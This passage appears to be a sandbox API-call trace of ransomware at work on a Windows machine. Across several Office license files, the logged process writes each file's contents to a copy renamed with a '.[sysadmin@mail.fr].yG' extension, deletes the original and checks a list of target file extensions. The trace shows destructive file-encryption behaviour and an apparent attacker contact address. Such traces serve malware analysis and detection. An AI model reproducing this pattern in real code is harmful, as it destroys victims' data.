	[0174.729] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.729] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x126, lpOverlapped=0x0) returned 1
	[0174.729] SetEndOfFile (hFile=0x364) returned 1
	[0174.825] CloseHandle (hObject=0x364) returned 1
	[0174.825] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.825] SetEndOfFile (hFile=0x53c) returned 1
	[0174.828] CloseHandle (hObject=0x53c) returned 1
	[0174.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0174.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0174.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0174.830] lstrlenW (lpString=".doc") returned 4
	[0174.830] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString=".docx") returned 5
	[0174.830] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.830] lstrlenW (lpString=".pdf") returned 4
	[0174.830] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString=".xls") returned 4
	[0174.830] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString=".xlsx") returned 5
	[0174.830] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.830] lstrlenW (lpString=".ppt") returned 4
	[0174.830] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0174.830] lstrlenW (lpString=".zip") returned 4
	[0174.830] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString=".rar") returned 4
	[0174.830] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString=".bz2") returned 4
	[0174.830] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString=".7z") returned 3
	[0174.830] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0174.830] lstrlenW (lpString=".dbf") returned 4
	[0174.830] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0174.830] lstrlenW (lpString=".1cd") returned 4
	[0174.830] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0174.830] lstrlenW (lpString=".jpg") returned 4
	[0174.830] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.831] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11195) returned 1
	[0174.831] CloseHandle (hObject=0x53c) returned 1
	[0174.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 0x220
	[0174.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.832] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.832] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.833] GetLastError () returned 0x0
	[0174.833] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0174.901] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0174.902] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.902] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0174.903] SetEndOfFile (hFile=0x364) returned 1
	[0174.903] CloseHandle (hObject=0x364) returned 1
	[0174.903] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.903] SetEndOfFile (hFile=0x53c) returned 1
	[0174.906] CloseHandle (hObject=0x53c) returned 1
	[0174.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 1
	[0174.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0174.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0174.908] lstrlenW (lpString=".doc") returned 4
	[0174.908] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.908] lstrlenW (lpString=".docx") returned 5
	[0174.908] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.908] lstrlenW (lpString=".pdf") returned 4
	[0174.908] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.908] lstrlenW (lpString=".xls") returned 4
	[0174.908] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.908] lstrlenW (lpString=".xlsx") returned 5
	[0174.908] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.908] lstrlenW (lpString=".ppt") returned 4
	[0174.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0174.909] lstrlenW (lpString=".zip") returned 4
	[0174.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.909] lstrlenW (lpString=".rar") returned 4
	[0174.909] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.909] lstrlenW (lpString=".bz2") returned 4
	[0174.909] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.909] lstrlenW (lpString=".7z") returned 3
	[0174.909] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0174.909] lstrlenW (lpString=".dbf") returned 4
	[0174.909] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0174.909] lstrlenW (lpString=".1cd") returned 4
	[0174.909] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0174.909] lstrlenW (lpString=".jpg") returned 4
	[0174.909] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.910] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=28261) returned 1
	[0174.910] CloseHandle (hObject=0x53c) returned 1
	[0174.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220
	[0174.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.911] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.911] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.912] GetLastError () returned 0x0
	[0174.912] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0175.056] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0175.057] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.057] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0175.058] SetEndOfFile (hFile=0x364) returned 1
	[0175.058] CloseHandle (hObject=0x364) returned 1
	[0175.058] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.058] SetEndOfFile (hFile=0x53c) returned 1
	[0175.063] CloseHandle (hObject=0x53c) returned 1
	[0175.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 1
	[0175.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0175.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0175.065] lstrlenW (lpString=".doc") returned 4
	[0175.065] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString=".docx") returned 5
	[0175.065] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.065] lstrlenW (lpString=".pdf") returned 4
	[0175.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString=".xls") returned 4
	[0175.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString=".xlsx") returned 5
	[0175.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.065] lstrlenW (lpString=".ppt") returned 4
	[0175.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0175.065] lstrlenW (lpString=".zip") returned 4
	[0175.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString=".rar") returned 4
	[0175.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString=".bz2") returned 4
	[0175.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString=".7z") returned 3
	[0175.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0175.065] lstrlenW (lpString=".dbf") returned 4
	[0175.065] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0175.066] lstrlenW (lpString=".1cd") returned 4
	[0175.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0175.066] lstrlenW (lpString=".jpg") returned 4
	[0175.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.066] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=28261) returned 1
	[0175.066] CloseHandle (hObject=0x53c) returned 1
	[0175.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220
	[0175.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0175.068] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.068] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0175.069] GetLastError () returned 0x0
	[0175.069] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0175.194] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0175.196] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.196] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0175.196] SetEndOfFile (hFile=0x364) returned 1
	[0175.196] CloseHandle (hObject=0x364) returned 1
	[0175.196] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.196] SetEndOfFile (hFile=0x53c) returned 1
	[0175.200] CloseHandle (hObject=0x53c) returned 1
	[0175.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 1
	[0175.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0175.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0175.202] lstrlenW (lpString=".doc") returned 4
	[0175.202] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.202] lstrlenW (lpString=".docx") returned 5
	[0175.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.202] lstrlenW (lpString=".pdf") returned 4
	[0175.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.202] lstrlenW (lpString=".xls") returned 4
	[0175.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString=".xlsx") returned 5
	[0175.203] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.203] lstrlenW (lpString=".ppt") returned 4
	[0175.203] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0175.203] lstrlenW (lpString=".zip") returned 4
	[0175.203] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString=".rar") returned 4
	[0175.203] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString=".bz2") returned 4
	[0175.203] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString=".7z") returned 3
	[0175.203] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0175.203] lstrlenW (lpString=".dbf") returned 4
	[0175.203] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0175.203] lstrlenW (lpString=".1cd") returned 4
	[0175.203] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0175.203] lstrlenW (lpString=".jpg") returned 4
	[0175.203] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.204] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11646) returned 1
	[0175.204] CloseHandle (hObject=0x53c) returned 1
	[0175.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0175.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0175.205] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.206] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0175.207] GetLastError () returned 0x0
	[0175.207] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0175.380] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0175.382] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.382] WriteFile (in: hFile=0x364, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x124, lpOverlapped=0x0) returned 1
	[0175.382] SetEndOfFile (hFile=0x364) returned 1
	[0175.383] CloseHandle (hObject=0x364) returned 1
	[0175.383] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.383] SetEndOfFile (hFile=0x53c) returned 1
	[0175.386] CloseHandle (hObject=0x53c) returned 1
	[0175.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
